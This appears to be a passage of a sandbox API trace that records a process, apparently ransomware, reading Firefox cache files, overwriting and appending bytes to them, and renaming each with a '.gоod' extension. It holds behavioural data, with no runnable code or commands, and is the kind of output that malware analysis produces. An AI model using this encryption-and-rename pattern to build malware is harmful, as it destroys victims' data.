0x1 [0263.433] WriteFile (in: hFile=0x864, lpBuffer=0x3ae62b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x3ae62b8*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0263.433] CloseHandle (hObject=0x864) returned 1 [0263.433] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7", lpFilePart=0x0) returned 0x7f [0263.433] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7.gоod", lpFilePart=0x0) returned 0x84 [0263.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0263.433] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23da68590afa0c21cff070cad97c0aa75858a2d7"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x993bf658, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1147)) returned 1 [0263.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0263.433] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23da68590afa0c21cff070cad97c0aa75858a2d7"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23da68590afa0c21cff070cad97c0aa75858a2d7.gоod")) returned 1 [0263.434] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850", lpFilePart=0x0) returned 0x7f [0263.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0263.435] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23e137dfd51bc10a5a373603ea1ed32314d43850"), fInfoLevelId=0x0, lpFileInformation=0x3b678e8 | out: lpFileInformation=0x3b678e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3c21097, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3c21097, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc3c21097, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4630)) returned 1 [0263.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0263.435] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850", lpFilePart=0x0) returned 0x7f [0263.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0263.435] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23e137dfd51bc10a5a373603ea1ed32314d43850"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0263.435] GetFileType (hFile=0x864) returned 0x1 [0263.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0263.436] GetFileType (hFile=0x864) returned 0x1 [0263.436] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0263.436] ReadFile (in: hFile=0x864, lpBuffer=0x3b67e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x3b67e50*, lpNumberOfBytesRead=0x1fbeb0c8*=0x1000, lpOverlapped=0x0) returned 1 [0265.622] CloseHandle (hObject=0x864) returned 1 [0265.622] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850", lpFilePart=0x0) returned 0x7f [0265.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0265.622] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23e137dfd51bc10a5a373603ea1ed32314d43850"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0265.622] GetFileType (hFile=0x864) returned 0x1 [0265.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0265.622] GetFileType (hFile=0x864) returned 0x1 [0265.622] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x4630 [0265.622] WriteFile (in: hFile=0x864, lpBuffer=0x3961740*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x3961740*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0265.943] CloseHandle (hObject=0x864) returned 1 [0265.943] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850", lpFilePart=0x0) returned 0x7f [0265.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0265.943] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23e137dfd51bc10a5a373603ea1ed32314d43850"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0265.943] GetFileType (hFile=0x864) returned 0x1 [0265.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0265.944] GetFileType (hFile=0x864) returned 0x1 [0265.944] ReadFile (in: hFile=0x864, lpBuffer=0x394bef0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x394bef0*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0266.004] CloseHandle (hObject=0x864) returned 1 [0266.004] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850", lpFilePart=0x0) returned 0x7f [0266.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0266.004] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23e137dfd51bc10a5a373603ea1ed32314d43850"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0266.004] GetFileType (hFile=0x864) returned 0x1 [0266.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0266.004] GetFileType (hFile=0x864) returned 0x1 [0266.005] WriteFile (in: hFile=0x864, lpBuffer=0x394aba0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x394aba0*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0266.005] CloseHandle (hObject=0x864) returned 1 [0266.005] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850", lpFilePart=0x0) returned 0x7f [0266.005] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850.gоod", lpFilePart=0x0) returned 0x84 [0266.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0266.005] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23e137dfd51bc10a5a373603ea1ed32314d43850"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3c21097, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3c21097, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x9ac33304, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4640)) returned 1 [0266.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0266.005] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23e137dfd51bc10a5a373603ea1ed32314d43850"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23e137dfd51bc10a5a373603ea1ed32314d43850.gоod")) returned 1 [0266.007] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F", lpFilePart=0x0) returned 0x7f [0266.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0266.007] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2414045942c11cc3e304204dae2b8dfa27711f3f"), fInfoLevelId=0x0, lpFileInformation=0x3a49060 | out: lpFileInformation=0x3a49060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x113b)) returned 1 [0266.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0266.007] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F", lpFilePart=0x0) returned 0x7f [0266.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0266.007] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2414045942c11cc3e304204dae2b8dfa27711f3f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0266.008] GetFileType (hFile=0x864) returned 0x1 [0266.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0266.008] GetFileType (hFile=0x864) returned 0x1 [0266.008] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0266.008] ReadFile (in: hFile=0x864, lpBuffer=0x3a495c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x3a495c8*, lpNumberOfBytesRead=0x1fbeb0c8*=0x13b, lpOverlapped=0x0) returned 1 [0266.157] CloseHandle (hObject=0x864) returned 1 [0266.515] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F", lpFilePart=0x0) returned 0x7f [0266.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0266.515] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2414045942c11cc3e304204dae2b8dfa27711f3f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0266.517] GetFileType (hFile=0x834) returned 0x1 [0266.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0266.552] GetFileType (hFile=0x834) returned 0x1 [0266.552] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x113b [0266.552] WriteFile (in: hFile=0x834, lpBuffer=0x3a2f310*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x3a2f310*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0266.553] CloseHandle (hObject=0x834) returned 1 [0266.553] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F", lpFilePart=0x0) returned 0x7f [0266.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0266.553] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2414045942c11cc3e304204dae2b8dfa27711f3f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0266.553] GetFileType (hFile=0x834) returned 0x1 [0266.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0266.553] GetFileType (hFile=0x834) returned 0x1 [0266.553] ReadFile (in: hFile=0x834, lpBuffer=0x3a31678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x3a31678*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0266.581] CloseHandle (hObject=0x834) returned 1 [0266.581] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F", lpFilePart=0x0) returned 0x7f [0266.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0266.581] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2414045942c11cc3e304204dae2b8dfa27711f3f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0266.582] GetFileType (hFile=0x834) returned 0x1 [0266.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0266.582] GetFileType (hFile=0x834) returned 0x1 [0266.582] WriteFile (in: hFile=0x834, lpBuffer=0x3a30328*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x3a30328*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0266.582] CloseHandle (hObject=0x834) returned 1 [0266.582] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F", lpFilePart=0x0) returned 0x7f [0266.582] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F.gоod", lpFilePart=0x0) returned 0x84 [0266.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0266.582] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2414045942c11cc3e304204dae2b8dfa27711f3f"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x9b1b6afe, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x114b)) returned 1 [0266.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0266.582] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2414045942c11cc3e304204dae2b8dfa27711f3f"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2414045942c11cc3e304204dae2b8dfa27711f3f.gоod")) returned 1 [0266.584] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6", lpFilePart=0x0) returned 0x7f [0266.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0266.584] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24be475a5c9ce3da33684dfdee6ac47bc9ba6de6"), fInfoLevelId=0x0, lpFileInformation=0x3aaf4d0 | out: lpFileInformation=0x3aaf4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4386e489, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4386e489, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4386e489, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x54c)) returned 1 [0266.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 